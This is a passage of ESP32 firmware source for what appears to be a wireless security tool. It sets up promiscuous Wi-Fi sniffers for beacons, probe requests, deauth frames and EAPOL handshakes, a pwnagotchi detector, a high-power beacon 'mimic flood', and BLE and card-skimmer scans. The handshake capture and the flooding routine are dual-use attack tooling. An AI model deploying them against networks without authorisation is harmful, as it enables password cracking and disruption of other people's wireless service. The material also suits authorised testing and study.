  617. display_obj.tft.println(text_table4[31]);
  618. #endif
  619. }
  620. battery_obj.battery_level = battery_obj.getBatteryLevel();
  621. if (battery_obj.i2c_supported) {
  622. #ifdef HAS_SCREEN
  623. display_obj.tft.println(text_table4[32]);
  624. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  625. #endif
  626. }
  627. else {
  628. #ifdef HAS_SCREEN
  629. display_obj.tft.println(text_table4[34]);
  630. #endif
  631. }
  632. #ifdef HAS_SCREEN
  633. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  634. #endif
  635. }
  636. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  637. sd_obj.openCapture("espressif");
  638. #ifdef HAS_SCREEN
  639. display_obj.TOP_FIXED_AREA_2 = 48;
  640. display_obj.tteBar = true;
  641. display_obj.print_delay_1 = 15;
  642. display_obj.print_delay_2 = 10;
  643. display_obj.initScrollValues(true);
  644. display_obj.tft.setTextWrap(false);
  645. display_obj.tft.setTextColor(TFT_WHITE, color);
  646. display_obj.tft.fillRect(0,16,240,16, color);
  647. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  648. display_obj.touchToExit();
  649. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  650. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  651. #endif
  652. esp_wifi_init(&cfg);
  653. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  654. esp_wifi_set_mode(WIFI_MODE_NULL);
  655. esp_wifi_start();
  656. esp_wifi_set_promiscuous(true);
  657. esp_wifi_set_promiscuous_filter(&filt);
  658. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  659. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  660. this->wifi_initialized = true;
  661. initTime = millis();
  662. }
  663. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  664. {
  665. #ifdef HAS_SCREEN
  666. display_obj.tft.init();
  667. display_obj.tft.setRotation(1);
  668. display_obj.tft.fillScreen(TFT_BLACK);
  669. #endif
  670. sd_obj.openCapture("packet_monitor");
  671. #ifdef HAS_SCREEN
  672. #ifdef TFT_SHIELD
  673. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  674. Serial.println("Using TFT Shield");
  675. #else if defined(TFT_DIY)
  676. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  677. Serial.println("Using TFT DIY");
  678. #endif
  679. display_obj.tft.setTouch(calData);
  680. //display_obj.tft.setFreeFont(1);
  681. display_obj.tft.setFreeFont(NULL);
  682. display_obj.tft.setTextSize(1);
  683. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  684. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  685. delay(10);
  686. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  687. display_obj.tftDrawColorKey();
  688. display_obj.tftDrawXScaleButtons(x_scale);
  689. display_obj.tftDrawYScaleButtons(y_scale);
  690. display_obj.tftDrawChannelScaleButtons(set_channel);
  691. display_obj.tftDrawExitScaleButtons();
  692. #endif
  693. Serial.println("Running packet scan...");
  694. esp_wifi_init(&cfg);
  695. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  696. esp_wifi_set_mode(WIFI_MODE_NULL);
  697. esp_wifi_start();
  698. esp_wifi_set_promiscuous(true);
  699. esp_wifi_set_promiscuous_filter(&filt);
  700. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  701. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  702. this->wifi_initialized = true;
  703. uint32_t initTime = millis();
  704. }
  705. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  706. {
  707. num_eapol = 0;
  708. #ifdef HAS_SCREEN
  709. display_obj.tft.init();
  710. display_obj.tft.setRotation(1);
  711. display_obj.tft.fillScreen(TFT_BLACK);
  712. #endif
  713. sd_obj.openCapture("eapol");
  714. #ifdef HAS_SCREEN
  715. #ifdef TFT_SHIELD
  716. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  717. //Serial.println("Using TFT Shield");
  718. #else if defined(TFT_DIY)
  719. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  720. //Serial.println("Using TFT DIY");
  721. #endif
  722. display_obj.tft.setTouch(calData);
  723. display_obj.tft.setFreeFont(NULL);
  724. display_obj.tft.setTextSize(1);
  725. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  726. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  727. delay(10);
  728. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  729. display_obj.tftDrawEapolColorKey();
  730. display_obj.tftDrawChannelScaleButtons(set_channel);
  731. display_obj.tftDrawExitScaleButtons();
  732. #endif
  733. wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
  734. esp_wifi_init(&cfg);
  735. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  736. //esp_wifi_set_mode(WIFI_MODE_NULL);
  737. esp_wifi_set_mode(WIFI_AP_STA);
  738. esp_wifi_start();
  739. esp_wifi_set_promiscuous(true);
  740. esp_wifi_set_promiscuous_filter(&filt);
  741. if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  742. esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
  743. else
  744. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  745. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  746. this->wifi_initialized = true;
  747. initTime = millis();
  748. }
  749. // Function to prepare for beacon mimic
  750. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  751. #ifdef HAS_SCREEN
  752. display_obj.TOP_FIXED_AREA_2 = 48;
  753. display_obj.tteBar = true;
  754. display_obj.print_delay_1 = 15;
  755. display_obj.print_delay_2 = 10;
  756. display_obj.initScrollValues(true);
  757. display_obj.tft.setTextWrap(false);
  758. display_obj.tft.setTextColor(TFT_BLACK, color);
  759. display_obj.tft.fillRect(0,16,240,16, color);
  760. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  761. display_obj.touchToExit();
  762. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  763. #endif
  764. packets_sent = 0;
  765. esp_wifi_init(&cfg);
  766. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  767. esp_wifi_set_mode(WIFI_AP_STA);
  768. esp_wifi_start();
  769. esp_wifi_set_promiscuous_filter(NULL);
  770. esp_wifi_set_promiscuous(true);
  771. esp_wifi_set_max_tx_power(78);
  772. this->wifi_initialized = true;
  773. initTime = millis();
  774. }
  775. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  776. {
  777. sd_obj.openCapture("pwnagotchi");
  778. #ifdef HAS_SCREEN
  779. display_obj.TOP_FIXED_AREA_2 = 48;
  780. display_obj.tteBar = true;
  781. display_obj.print_delay_1 = 15;
  782. display_obj.print_delay_2 = 10;
  783. display_obj.initScrollValues(true);
  784. display_obj.tft.setTextWrap(false);
  785. display_obj.tft.setTextColor(TFT_WHITE, color);
  786. display_obj.tft.fillRect(0,16,240,16, color);
  787. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  788. display_obj.touchToExit();
  789. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  790. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  791. #endif
  792. esp_wifi_init(&cfg);
  793. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  794. esp_wifi_set_mode(WIFI_MODE_NULL);
  795. esp_wifi_start();
  796. esp_wifi_set_promiscuous(true);
  797. esp_wifi_set_promiscuous_filter(&filt);
  798. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  799. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  800. this->wifi_initialized = true;
  801. initTime = millis();
  802. }
  803. // Function to start running a beacon scan
  804. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  805. {
  806. sd_obj.openCapture("beacon");
  807. #ifdef HAS_SCREEN
  808. display_obj.TOP_FIXED_AREA_2 = 48;
  809. display_obj.tteBar = true;
  810. display_obj.print_delay_1 = 15;
  811. display_obj.print_delay_2 = 10;
  812. display_obj.initScrollValues(true);
  813. display_obj.tft.setTextWrap(false);
  814. display_obj.tft.setTextColor(TFT_WHITE, color);
  815. display_obj.tft.fillRect(0,16,240,16, color);
  816. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  817. display_obj.touchToExit();
  818. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  819. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  820. #endif
  821. esp_wifi_init(&cfg);
  822. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  823. esp_wifi_set_mode(WIFI_MODE_NULL);
  824. esp_wifi_start();
  825. esp_wifi_set_promiscuous(true);
  826. esp_wifi_set_promiscuous_filter(&filt);
  827. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  828. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  829. this->wifi_initialized = true;
  830. initTime = millis();
  831. }
  832. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  833. {
  834. sd_obj.openCapture("deauth");
  835. #ifdef HAS_SCREEN
  836. display_obj.TOP_FIXED_AREA_2 = 48;
  837. display_obj.tteBar = true;
  838. display_obj.print_delay_1 = 15;
  839. display_obj.print_delay_2 = 10;
  840. display_obj.initScrollValues(true);
  841. display_obj.tft.setTextWrap(false);
  842. display_obj.tft.setTextColor(TFT_BLACK, color);
  843. display_obj.tft.fillRect(0,16,240,16, color);
  844. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  845. display_obj.touchToExit();
  846. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  847. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  848. #endif
  849. esp_wifi_init(&cfg);
  850. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  851. esp_wifi_set_mode(WIFI_MODE_NULL);
  852. esp_wifi_start();
  853. esp_wifi_set_promiscuous(true);
  854. esp_wifi_set_promiscuous_filter(&filt);
  855. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  856. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  857. this->wifi_initialized = true;
  858. initTime = millis();
  859. }
  860. // Function for running probe request scan
  861. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  862. {
  863. sd_obj.openCapture("probe");
  864. #ifdef HAS_SCREEN
  865. display_obj.TOP_FIXED_AREA_2 = 48;
  866. display_obj.tteBar = true;
  867. display_obj.print_delay_1 = 15;
  868. display_obj.print_delay_2 = 10;
  869. display_obj.initScrollValues(true);
  870. display_obj.tft.setTextWrap(false);
  871. display_obj.tft.setTextColor(TFT_BLACK, color);
  872. display_obj.tft.fillRect(0,16,240,16, color);
  873. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  874. display_obj.touchToExit();
  875. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  876. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  877. #endif
  878. esp_wifi_init(&cfg);
  879. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  880. esp_wifi_set_mode(WIFI_MODE_NULL);
  881. esp_wifi_start();
  882. esp_wifi_set_promiscuous(true);
  883. esp_wifi_set_promiscuous_filter(&filt);
  884. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  885. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  886. this->wifi_initialized = true;
  887. initTime = millis();
  888. }
  889. // Function to start running any BLE scan
  890. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  891. {
  892. #ifdef HAS_BT
  893. #ifdef HAS_SCREEN
  894. display_obj.print_delay_1 = 50;
  895. display_obj.print_delay_2 = 20;
  896. #endif
  897. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  898. NimBLEDevice::setScanDuplicateCacheSize(200);
  899. NimBLEDevice::init("");
  900. pBLEScan = NimBLEDevice::getScan(); //create new scan
  901. if (scan_mode == BT_SCAN_ALL)
  902. {
  903. #ifdef HAS_SCREEN
  904. display_obj.TOP_FIXED_AREA_2 = 48;
  905. display_obj.tteBar = true;
  906. display_obj.initScrollValues(true);
  907. display_obj.tft.setTextWrap(false);
  908. display_obj.tft.setTextColor(TFT_BLACK, color);
  909. display_obj.tft.fillRect(0,16,240,16, color);
  910. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  911. display_obj.touchToExit();
  912. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  913. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  914. #endif
  915. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  916. }
  917. else if (scan_mode == BT_SCAN_SKIMMERS)
  918. {
  919. #ifdef HAS_SCREEN
  920. display_obj.TOP_FIXED_AREA_2 = 160;
  921. display_obj.tteBar = true;
  922. display_obj.tft.fillScreen(TFT_DARKGREY);
  923. display_obj.initScrollValues(true);
  924. display_obj.tft.setTextWrap(false);
  925. display_obj.tft.setTextColor(TFT_BLACK, color);
  926. display_obj.tft.fillRect(0,16,240,16, color);
  927. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  928. display_obj.twoPartDisplay(text_table4[43]);
  929. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  930. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  931. #endif
  932. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  933. }
  934. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  935. pBLEScan->setInterval(97);
  936. pBLEScan->setWindow(37); // less or equal setInterval value
  937. pBLEScan->setMaxResults(0);
  938. pBLEScan->start(0, scanCompleteCB, false);
  939. Serial.println("Started BLE Scan");
  940. this->ble_initialized = true;
  941. initTime = millis();
  942. #endif
  943. }
  944. // Function that is called when BLE scan is completed
  945. #ifdef HAS_BT
  946. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  947. printf("Scan complete!\n");
  948. printf("Found %d devices\n", scanResults.getCount());
  949. scanResults.dump();
  950. } // scanCompleteCB
  951. #endif
  952. // Function to extract MAC addr from a packet at given offset
  953. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  954. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  955. }
  956. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  957. {
  958. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  959. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  960. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  961. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  962. int len = snifferPacket->rx_ctrl.sig_len;
  963. String display_string = "";
  964. String src_addr_string = "";
  965. if (type == WIFI_PKT_MGMT)
  966. {
  967. len -= 4;
  968. }
  969. int fctl = ntohs(frameControl->fctl);
  970. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  971. const WifiMgmtHdr *hdr = &ipkt->hdr;
  972. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  973. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  974. //{
  975. char addr[] = "00:00:00:00:00:00";
  976. getMAC(addr, snifferPacket->payload, 10);
  977. src_addr_string.concat(addr);
  978. bool match = false;
  979. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  980. if (src_addr_string.startsWith(espressif_macs[i])) {
  981. match = true;
  982. break;
  983. }
  984. }
  985. if (!match)
  986. return;
  987. delay(random(0, 10));
  988. Serial.print("RSSI: ");
  989. Serial.print(snifferPacket->rx_ctrl.rssi);
  990. Serial.print(" Ch: ");
  991. Serial.print(snifferPacket->rx_ctrl.channel);
  992. Serial.print(" BSSID: ");
  993. Serial.print(addr);
  994. //display_string.concat(" RSSI: ");
  995. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  996. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  997. //display_string.concat(" ");
  998. display_string.concat(" -> ");
  999. display_string.concat(addr);
  1000. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1001. {
  1002. display_string.concat(" ");
  1003. }
  1004. Serial.print(" ");
  1005. #ifdef HAS_SCREEN
  1006. display_obj.loading = true;
  1007. display_obj.display_buffer->add(display_string);
  1008. display_obj.loading = false;
  1009. #endif
  1010. Serial.println();
  1011. if (save_packet)
  1012. sd_obj.addPacket(snifferPacket->payload, len);
  1013. //}
  1014. }
  1015. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1016. {
  1017. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1018. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1019. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1020. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1021. int len = snifferPacket->rx_ctrl.sig_len;
  1022. String display_string = "";
  1023. String src = "";
  1024. String essid = "";
  1025. if (type == WIFI_PKT_MGMT)
  1026. {
  1027. len -= 4;
  1028. int fctl = ntohs(frameControl->fctl);
  1029. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1030. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1031. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1032. #ifdef HAS_SCREEN
  1033. int buf = display_obj.display_buffer->size();
  1034. #else
  1035. int buf = 0;
  1036. #endif
  1037. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1038. {
  1039. char addr[] = "00:00:00:00:00:00";
  1040. getMAC(addr, snifferPacket->payload, 10);
  1041. src.concat(addr);
  1042. if (src == "de:ad:be:ef:de:ad") {
  1043. delay(random(0, 10));
  1044. Serial.print("RSSI: ");
  1045. Serial.print(snifferPacket->rx_ctrl.rssi);
  1046. Serial.print(" Ch: ");
  1047. Serial.print(snifferPacket->rx_ctrl.channel);
  1048. Serial.print(" BSSID: ");
  1049. Serial.print(addr);
  1050. //display_string.concat(addr);
  1051. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1052. Serial.print(" ESSID: ");
  1053. display_string.concat(" -> ");
  1054. // Just grab the first 255 bytes of the pwnagotchi beacon
  1055. // because that is where the name is
  1056. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1057. for (int i = 0; i < len - 37; i++)
  1058. {
  1059. Serial.print((char)snifferPacket->payload[i + 38]);
  1060. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1061. if (isAscii(snifferPacket->payload[i + 38]))
  1062. essid.concat((char)snifferPacket->payload[i + 38]);
  1063. else
  1064. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1065. }
  1066. //essid.concat("\": \"\"}}");
  1067. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1068. // Load json
  1069. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1070. DynamicJsonDocument json(1024); // ArduinoJson v6
  1071. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1072. // ArduinoJson v6
  1073. if (deserializeJson(json, essid)) {
  1074. Serial.println("\nCould not parse Pwnagotchi json");
  1075. display_string.concat(essid);
  1076. }
  1077. else {
  1078. Serial.println("\nSuccessfully parsed json");
  1079. String json_output;
  1080. //json.printTo(json_output); // ArduinoJson v5
  1081. serializeJson(json, json_output); // ArduinoJson v6
  1082. Serial.println(json_output);
  1083. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1084. }
  1085. int temp_len = display_string.length();
  1086. for (int i = 0; i < 40 - temp_len; i++)
  1087. {
  1088. display_string.concat(" ");
  1089. }
  1090. Serial.print(" ");
  1091. #ifdef HAS_SCREEN
  1092. if (display_obj.display_buffer->size() == 0)
  1093. {
  1094. display_obj.loading = true;
  1095. display_obj.display_buffer->add(display_string);
  1096. display_obj.loading = false;
  1097. }
  1098. #endif
  1099. Serial.println();
  1100. if (save_packet)
  1101. sd_obj.addPacket(snifferPacket->payload, len);
  1102. }
  1103. }
  1104. }
  1105. }
  1106. void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
  1107. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1108. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1109. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1110. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1111. int len = snifferPacket->rx_ctrl.sig_len;
  1112. String display_string = "";
  1113. String essid = "";
  1114. String bssid = "";
  1115. if (type == WIFI_PKT_MGMT)
  1116. {
  1117. len -= 4;
  1118. int fctl = ntohs(frameControl->fctl);
  1119. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1120. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1121. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1122. #ifdef HAS_SCREEN
  1123. int buf = display_obj.display_buffer->size();
  1124. #else
  1125. int buf = 0;
  1126. #endif
  1127. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1128. {
  1129. char addr[] = "00:00:00:00:00:00";
  1130. getMAC(addr, snifferPacket->payload, 10);
  1131. bool in_list = false;
  1132. bool mac_match = true;
  1133. for (int i = 0; i < access_points->size(); i++) {
  1134. mac_match = true;
  1135. //Serial.print("Checking ");
  1136. //Serial.print(addr);
  1137. //Serial.println(" against " + (String)access_points->get(i).essid);
  1138. for (int x = 0; x < 6; x++) {
  1139. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1140. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1141. mac_match = false;
  1142. //Serial.println("MACs do not match");
  1143. break;
  1144. }
  1145. }
  1146. if (mac_match) {
  1147. in_list = true;
  1148. break;
  1149. }
  1150. }
  1151. if (!in_list) {
  1152. delay(random(0, 10));
  1153. Serial.print("RSSI: ");
  1154. Serial.print(snifferPacket->rx_ctrl.rssi);
  1155. Serial.print(" Ch: ");
  1156. Serial.print(snifferPacket->rx_ctrl.channel);
  1157. Serial.print(" BSSID: ");
  1158. Serial.print(addr);
  1159. display_string.concat(addr);
  1160. Serial.print(" ESSID: ");
  1161. display_string.concat(" -> ");
  1162. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1163. {
  1164. Serial.print((char)snifferPacket->payload[i + 38]);
  1165. display_string.concat((char)snifferPacket->payload[i + 38]);
  1166. essid.concat((char)snifferPacket->payload[i + 38]);
  1167. }
  1168. bssid.concat(addr);
  1169. int temp_len = display_string.length();
  1170. for (int i = 0; i < 40 - temp_len; i++)
  1171. {
  1172. display_string.concat(" ");
  1173. }
  1174. Serial.print(" ");
  1175. #ifdef HAS_SCREEN
  1176. if (display_obj.display_buffer->size() == 0)
  1177. {
  1178. display_obj.loading = true;
  1179. display_obj.display_buffer->add(display_string);
  1180. display_obj.loading = false;
  1181. }
  1182. #endif
  1183. if (essid == "") {
  1184. essid = bssid;
  1185. Serial.print(essid + " ");
  1186. }
  1187. //LinkedList<char> beacon = new LinkedList<char>();
  1188. /*AccessPoint ap = {essid,
  1189. snifferPacket->rx_ctrl.channel,
  1190. {snifferPacket->payload[10],
  1191. snifferPacket->payload[11],
  1192. snifferPacket->payload[12],
  1193. snifferPacket->payload[13],
  1194. snifferPacket->payload[14],
  1195. snifferPacket->payload[15]},
  1196. false,
  1197. NULL};*/
  1198. AccessPoint ap;
  1199. ap.essid = essid;
  1200. ap.channel = snifferPacket->rx_ctrl.channel;
  1201. ap.bssid[0] = snifferPacket->payload[10];
  1202. ap.bssid[1] = snifferPacket->payload[11];
  1203. ap.bssid[2] = snifferPacket->payload[12];
  1204. ap.bssid[3] = snifferPacket->payload[13];
  1205. ap.bssid[4] = snifferPacket->payload[14];
  1206. ap.bssid[5] = snifferPacket->payload[15];
  1207. ap.selected = false;
  1208. ap.beacon = new LinkedList<char>();
  1209. //for (int i = 0; i < len; i++) {
  1210. // ap.beacon->add(snifferPacket->payload[i]);
  1211. //}
  1212. ap.beacon->add(snifferPacket->payload[34]);
  1213. ap.beacon->add(snifferPacket->payload[35]);
  1214. Serial.print("\nBeacon: ");
  1215. for (int i = 0; i < ap.beacon->size(); i++) {
  1216. char hexCar[4];
  1217. sprintf(hexCar, "%02X", ap.beacon->get(i));
  1218. Serial.print(hexCar);
  1219. if ((i + 1) % 16 == 0)
  1220. Serial.print("\n");
  1221. else
  1222. Serial.print(" ");
  1223. }
  1224. access_points->add(ap);
  1225. Serial.print(access_points->size());
  1226. Serial.println();
  1227. if (save_packet)
  1228. sd_obj.addPacket(snifferPacket->payload, len);
  1229. }
  1230. }
  1231. }
  1232. }
  1233. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1234. {
  1235. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1236. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1237. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1238. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1239. int len = snifferPacket->rx_ctrl.sig_len;
  1240. String display_string = "";
  1241. String essid = "";
  1242. String bssid = "";
  1243. if (type == WIFI_PKT_MGMT)
  1244. {
  1245. len -= 4;
  1246. int fctl = ntohs(frameControl->fctl);
  1247. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1248. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1249. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1250. #ifdef HAS_SCREEN
  1251. int buf = display_obj.display_buffer->size();
  1252. #else
  1253. int buf = 0;
  1254. #endif
  1255. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1256. {
  1257. char addr[] = "00:00:00:00:00:00";
  1258. getMAC(addr, snifferPacket->payload, 10);
  1259. bool in_list = false;
  1260. bool mac_match = true;
  1261. for (int i = 0; i < access_points->size(); i++) {
  1262. mac_match = true;
  1263. //Serial.print("Checking ");
  1264. //Serial.print(addr);
  1265. //Serial.println(" against " + (String)access_points->get(i).essid);
  1266. for (int x = 0; x < 6; x++) {
  1267. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1268. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1269. mac_match = false;
  1270. //Serial.println("MACs do not match");
  1271. break;
  1272. }
  1273. }
  1274. if (mac_match) {
  1275. in_list = true;
  1276. break;
  1277. }
  1278. }
  1279. if (!in_list) {
  1280. delay(random(0, 10));
  1281. Serial.print("RSSI: ");
  1282. Serial.print(snifferPacket->rx_ctrl.rssi);
  1283. Serial.print(" Ch: ");
  1284. Serial.print(snifferPacket->rx_ctrl.channel);
  1285. Serial.print(" BSSID: ");
  1286. Serial.print(addr);
  1287. display_string.concat(addr);
  1288. Serial.print(" ESSID: ");
  1289. display_string.concat(" -> ");
  1290. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1291. {
  1292. Serial.print((char)snifferPacket->payload[i + 38]);
  1293. display_string.concat((char)snifferPacket->payload[i + 38]);
  1294. essid.concat((char)snifferPacket->payload[i + 38]);
  1295. }
  1296. bssid.concat(addr);
  1297. int temp_len = display_string.length();
  1298. for (int i = 0; i < 40 - temp_len; i++)
  1299. {
  1300. display_string.concat(" ");
  1301. }
  1302. Serial.print(" ");
  1303. #ifdef HAS_SCREEN
  1304. if (display_obj.display_buffer->size() == 0)
  1305. {
  1306. display_obj.loading = true;
  1307. display_obj.display_buffer->add(display_string);
  1308. display_obj.loading = false;
  1309. }
  1310. #endif
  1311. if (essid == "") {
  1312. essid = bssid;
  1313. Serial.print(essid + " ");
  1314. }
  1315. AccessPoint ap = {essid,
  1316. snifferPacket->rx_ctrl.channel,
  1317. {snifferPacket->payload[10],
  1318. snifferPacket->payload[11],
  1319. snifferPacket->payload[12],
  1320. snifferPacket->payload[13],
  1321. snifferPacket->payload[14],
  1322. snifferPacket->payload[15]},
  1323. false,
  1324. NULL};
  1325. access_points->add(ap);
  1326. Serial.print(access_points->size());
  1327. Serial.println();
  1328. if (save_packet)
  1329. sd_obj.addPacket(snifferPacket->payload, len);
  1330. }
  1331. }
  1332. }
  1333. }
